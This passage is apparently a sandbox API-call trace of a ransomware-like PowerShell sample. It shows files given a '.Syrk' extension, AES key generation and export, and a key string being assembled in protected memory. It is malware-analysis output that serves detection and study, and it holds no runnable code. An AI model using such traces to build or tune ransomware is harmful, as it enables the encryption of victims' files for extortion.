(lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx")) returned 1 [0217.632] EtwEventActivityIdControl () returned 0x0 [0217.633] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.633] EtwEventActivityIdControl () returned 0x0 [0217.633] EtwEventActivityIdControl () returned 0x0 [0217.633] EtwEventActivityIdControl () returned 0x0 [0217.956] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx.syrk")) returned 0x20 [0217.957] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx.syrk")) returned 0x20 [0217.957] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0217.957] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk", lpFilePart=0x0) returned 0x41 [0217.959] EtwEventActivityIdControl () returned 0x0 [0217.959] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.960] EtwEventActivityIdControl () returned 0x0 [0217.960] EtwEventActivityIdControl () returned 0x0 [0217.960] EtwEventActivityIdControl () returned 0x0 [0217.969] EtwEventActivityIdControl () returned 0x0 [0217.969] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.969] EtwEventActivityIdControl () returned 0x0 [0217.969] EtwEventActivityIdControl () returned 0x0 [0217.970] EtwEventActivityIdControl () returned 0x0 [0217.973] EtwEventActivityIdControl () returned 0x0 [0217.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.974] EtwEventActivityIdControl () returned 0x0 [0217.974] EtwEventActivityIdControl () returned 0x0 [0217.974] EtwEventActivityIdControl () returned 0x0 [0217.977] EtwEventActivityIdControl () returned 0x0 [0217.977] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.978] EtwEventActivityIdControl () returned 0x0 [0217.978] EtwEventActivityIdControl () returned 0x0 [0217.978] EtwEventActivityIdControl () returned 0x0 [0217.985] EtwEventActivityIdControl () returned 0x0 [0217.986] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.986] EtwEventActivityIdControl () returned 0x0 [0217.986] EtwEventActivityIdControl () returned 0x0 [0217.986] EtwEventActivityIdControl () returned 0x0 [0217.991] EtwEventActivityIdControl () returned 0x0 [0218.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0218.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\mHccYT.docx.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\mhccyt.docx.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23917ec | out: lpFileInformation=0x23917ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdcf5190, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xfdcf5190, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xfdd1b2f0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xdc24)) returned 1 [0218.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0218.363] GetConsoleOutputCP () returned 0x1b5 [0218.363] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0218.363] GetConsoleOutputCP () returned 0x1b5 [0218.363] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0218.363] GetConsoleOutputCP () returned 0x1b5 [0218.364] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.364] GetConsoleOutputCP () returned 0x1b5 [0218.364] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.364] GetConsoleOutputCP () returned 0x1b5 [0218.364] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0218.364] GetConsoleOutputCP () returned 0x1b5 [0218.364] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0218.364] GetConsoleOutputCP () returned 0x1b5 [0218.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.365] GetConsoleOutputCP () returned 0x1b5 [0218.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.365] GetConsoleOutputCP () returned 0x1b5 [0218.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0218.365] GetConsoleOutputCP () returned 0x1b5 [0218.365] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0218.365] GetConsoleOutputCP () returned 0x1b5 [0218.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.366] GetConsoleOutputCP () returned 0x1b5 [0218.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.366] GetConsoleOutputCP () returned 0x1b5 [0218.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0218.366] GetConsoleOutputCP () returned 0x1b5 [0218.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0218.366] GetConsoleOutputCP () returned 0x1b5 [0218.366] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.366] GetConsoleOutputCP () returned 0x1b5 [0218.367] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0218.367] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0218.368] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0218.368] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23c1964*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x23c1964*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0218.369] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0218.369] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0218.372] EtwEventActivityIdControl () returned 0x0 [0218.372] EtwEventActivityIdControl () returned 0x0 [0218.373] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0218.374] EtwEventActivityIdControl () returned 0x0 [0218.374] EtwEventActivityIdControl () returned 0x0 [0218.374] EtwEventActivityIdControl () returned 0x0 [0218.377] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0218.377] EtwEventActivityIdControl () returned 0x0 [0218.377] EtwEventActivityIdControl () returned 0x0 [0218.377] EtwEventActivityIdControl () returned 0x0 [0218.381] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4cee0) returned 1 [0218.383] CryptGenKey (in: hProv=0x5c4cee0, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c68e80) returned 1 [0218.383] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0218.383] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0218.383] CryptExportKey (in: hKey=0x5c68e80, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23c96e0, pdwDataLen=0x5a2e82c | out: pbData=0x23c96e0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0218.383] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0218.384] EtwEventActivityIdControl () returned 0x0 [0218.384] EtwEventActivityIdControl () returned 0x0 [0218.384] EtwEventActivityIdControl () returned 0x0 [0218.386] SysStringLen (param_1="") returned 0x8 [0218.386] SysStringLen (param_1="W") returned 0x8 [0218.386] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.386] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0218.386] SysStringLen (param_1="ⶴ뢁赚磦⸸颜捞") returned 0x8 [0218.386] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.386] SysStringLen (param_1="WT") returned 0x8 [0218.386] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.387] SysStringLen (param_1="搮朚⃿ᚮ₪ⵡ냦氶") returned 0x8 [0218.387] SysStringLen (param_1="搮朚⃿ᚮ₪ⵡ냦氶") returned 0x8 [0218.387] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.387] SysStringLen (param_1="WTu") returned 0x8 [0218.387] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.387] SysStringLen (param_1="䟟먒嬘믺饣틵벺巎") returned 0x8 [0218.387] SysStringLen (param_1="䟟먒嬘믺饣틵벺巎") returned 0x8 [0218.387] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.387] SysStringLen (param_1="WTuK") returned 0x8 [0218.387] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.387] SysStringLen (param_1="眨在䈅퍊맘ᚰ螳") returned 0x8 [0218.387] SysStringLen (param_1="眨在䈅퍊맘ᚰ螳") returned 0x8 [0218.387] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.387] SysStringLen (param_1="WTuKX") returned 0x8 [0218.388] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.388] SysStringLen (param_1="ꋘ㪸\\临፝ꃔ") returned 0x8 [0218.388] SysStringLen (param_1="ꋘ㪸\\临፝ꃔ") returned 0x8 [0218.388] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.388] SysStringLen (param_1="WTuKXq") returned 0x8 [0218.388] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.388] SysStringLen (param_1="䚣䢲핑丽\熒鄙⋄) returned 0x8 [0218.388] SysStringLen (param_1="䚣䢲핑丽\熒鄙⋄) returned 0x8 [0218.388] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.388] SysStringLen (param_1="WTuKXqm") returned 0x8 [0218.388] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.388] SysStringLen (param_1="\䏞໋Ťᾠ䲎狨⊥) returned 0x8 [0218.388] SysStringLen (param_1="\䏞໋Ťᾠ䲎狨⊥) returned 0x8 [0218.388] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.389] SysStringLen (param_1="WTuKXqmz") returned 0x8 [0218.389] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0218.389] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ⋒) returned 0x8 [0218.389] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ⋒) returned 0x8 [0218.389] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ⋒) returned 0x8 [0218.390] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ⋒) returned 0x10 [0218.390] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.390] SysStringLen (param_1="WTuKXqmz0ᬚ퓙坻∷녨ἱ") returned 0x10 [0218.390] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.390] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ㇒鲽㓕ꤽ夫蛋䎗䝽⊳) returned 0x10 [0218.390] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ㇒鲽㓕ꤽ夫蛋䎗䝽⊳) returned 0x10 [0218.390] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.390] SysStringLen (param_1="WTuKXqmz0wᬚ퓙坻∷녨ἱ") returned 0x10 [0218.390] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.390] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ೒ﻆ厝斱駜덴ｉ쎃⊿) returned 0x10 [0218.391] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ೒ﻆ厝斱駜덴ｉ쎃⊿) returned 0x10 [0218.391] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.391] SysStringLen (param_1="WTuKXqmz0wo퓙坻∷녨ἱ") returned 0x10 [0218.391] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.391] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ淒딃䮻统츈ꔪ葏嗇∻) returned 0x10 [0218.391] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ淒딃䮻统츈ꔪ葏嗇∻) returned 0x10 [0218.391] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.391] SysStringLen (param_1="WTuKXqmz0woi坻∷녨ἱ") returned 0x10 [0218.391] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.391] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ㗒Ⓧⱌ屸뾊툽饓⋛) returned 0x10 [0218.391] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ㗒Ⓧⱌ屸뾊툽饓⋛) returned 0x10 [0218.391] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.392] SysStringLen (param_1="WTuKXqmz0woiu∷녨ἱ") returned 0x10 [0218.392] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.392] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ᳒䔪⼩䔘ꉪ∉) returned 0x10 [0218.392] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ᳒䔪⼩䔘ꉪ∉) returned 0x10 [0218.392] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.392] SysStringLen (param_1="WTuKXqmz0woiu9녨ἱ") returned 0x10 [0218.392] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.392] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ鳒㲍ⶆ鲾㷍흞ײַ壤√) returned 0x10 [0218.392] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂ鳒㲍ⶆ鲾㷍흞ײַ壤√) returned 0x10 [0218.392] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.393] SysStringLen (param_1="WTuKXqmz0woiu93ἱ") returned 0x10 [0218.393] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.393] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂᛒ玿玕냆蕬搑ჰ难⊸) returned 0x10 [0218.393] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂᛒ玿玕냆蕬搑ჰ难⊸) returned 0x10 [0218.393] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.393] SysStringLen (param_1="WTuKXqmz0woiu93o") returned 0x10 [0218.393] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0218.393] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ") returned 0x10 [0218.393] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ") returned 0x10 [0218.393] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ") returned 0x10 [0218.394] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ") returned 0x18 [0218.394] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.394] SysStringLen (param_1="WTuKXqmz0woiu93ou皠ᩏ\裚ꓵ鑆蓤⋋) returned 0x18 [0218.394] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.394] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ枨⎎빝⡖䲫ꅧ㝻") returned 0x18 [0218.394] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ枨⎎빝⡖䲫ꅧ㝻") returned 0x18 [0218.394] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.394] SysStringLen (param_1="WTuKXqmz0woiu93ou7ᩏ\裚ꓵ鑆蓤⋋) returned 0x18 [0218.395] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.395] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ⃑ᇠ퐨゛ᣜ䫍쨳﶑") returned 0x18 [0218.395] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ⃑ᇠ퐨゛ᣜ䫍쨳﶑") returned 0x18 [0218.395] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.395] SysStringLen (param_1="WTuKXqmz0woiu93ou7w\裚ꓵ鑆蓤⋋) returned 0x18 [0218.395] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.395] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿꦉꔏ好霔훳쀞㘀얽") returned 0x18 [0218.395] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿꦉꔏ好霔훳쀞㘀얽") returned 0x18 [0218.395] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.395] SysStringLen (param_1="WTuKXqmz0woiu93ou7wS䚤쮄") returned 0x18 [0218.395] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.395] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ곑쬀攏牡㙫ꂆ印") returned 0x18 [0218.395] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ곑쬀攏牡㙫ꂆ印") returned 0x18 [0218.395] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.396] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSM䚤쮄") returned 0x18 [0218.396] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.396] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ뚡鬈潗勰쌣袞峎") returned 0x18 [0218.396] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ뚡鬈潗勰쌣袞峎") returned 0x18 [0218.396] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.396] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMO쮄") returned 0x18 [0218.396] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.396] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ偬੷쪠蘒땗ㇱ끱") returned 0x18 [0218.396] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ偬੷쪠蘒땗ㇱ끱") returned 0x18 [0218.396] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.396] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOB쮄") returned 0x18 [0218.396] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.396] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ滸๟਴\䷞呮硯⋇) returned 0x18 [0218.397] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ滸๟਴\䷞呮硯⋇) returned 0x18 [0218.397] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.397] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBm") returned 0x18 [0218.397] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0218.397] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻") returned 0x18 [0218.397] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻") returned 0x18 [0218.397] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻") returned 0x18 [0218.398] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻") returned 0x20 [0218.398] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.398] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmH犳ꍈ⛩એ尅碼Ѐ") returned 0x20 [0218.398] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.398] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻㵊⻃䮌✆㯈鏋颒") returned 0x20 [0218.398] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻㵊⻃䮌✆㯈鏋颒") returned 0x20 [0218.398] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.398] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMꍈ⛩એ尅碼Ѐ") returned 0x20 [0218.398] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.398] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻㐥젔Ꟊ桪麰ช㵾ጎ") returned 0x20 [0218.398] SysStringLen (param_1="⣓\珞ᝬ鑮䣜ᮔૂӒ㕒♎顭杠\韧ڿ䨦퐡鰧腠௏줻㐥젔Ꟊ桪麰ช㵾ጎ") returned 0x20 [0218.398] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.399] SysStringLen (param_1="WTuKXqmz0woiu93ou7wSMOBmHMa⛩એ尅碼Ѐ") returned 0x20 [0218.399] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0218.399] 